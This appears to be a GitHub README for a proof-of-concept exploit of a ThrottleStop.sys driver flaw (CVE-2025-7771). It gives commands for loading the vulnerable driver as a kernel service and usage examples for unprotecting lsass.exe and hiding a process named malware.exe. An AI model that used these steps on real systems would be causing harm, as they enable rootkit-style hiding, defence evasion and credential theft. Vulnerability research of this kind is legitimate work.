xm0kht4r/cve-2025-7771A simple PoC demonstrating the vulnerability in the ThrottleStop.sys driver, showcasing arbitrary physical memory read and write capabilities, as well as virtual-to-physical address translation using Superfetch.
A simple PoC demonstrating the vulnerability in the ThrottleStop.sys driver, showcasing arbitrary physical memory read and write capabilities, as well as virtual-to-physical address translation using Superfetch.
Launch cmd.exe with Administrator privileges, and register a kernel driver service with type "kernel" and binPath pointing to the vulnerable driver's location.
> sc create ThrottleStop binPath= <path> type= kernel`
> sc start ThrottleStop
Commands:
--protect : Protect a process.
--unprotect : Unprotect a potected process.
--hide : Hide a process.
--unhide : Unhide a process.
--help : Print help
Examples:
CVE-2025-7771.exe --protect notepad.exe or CVE-2025-7771exe --protect 12345
CVE-2025-7771.exe --unprotect lsass.exe or CVE-2025-7771.exe --unprotect 12345
CVE-2025-7771.exe --hide malware.exe or CVE-2025-7771.exe --hide 12345
To unhide a hidden process, you can use the command --unhide with specifying the eprocess address of the hidden process with '--eprocess':
CVE-2025-7771.exe --unhide --eprocess 0xffffc207da1d9240
You are responsible for ensuring you have proper authorization before using this tool. The author assumes no liability for misuse.
This is an ongoing project, contributions and suggestions are welcome! If you have ideas, improvements, or would like to collaborate, feel free to reach out at: [email protected]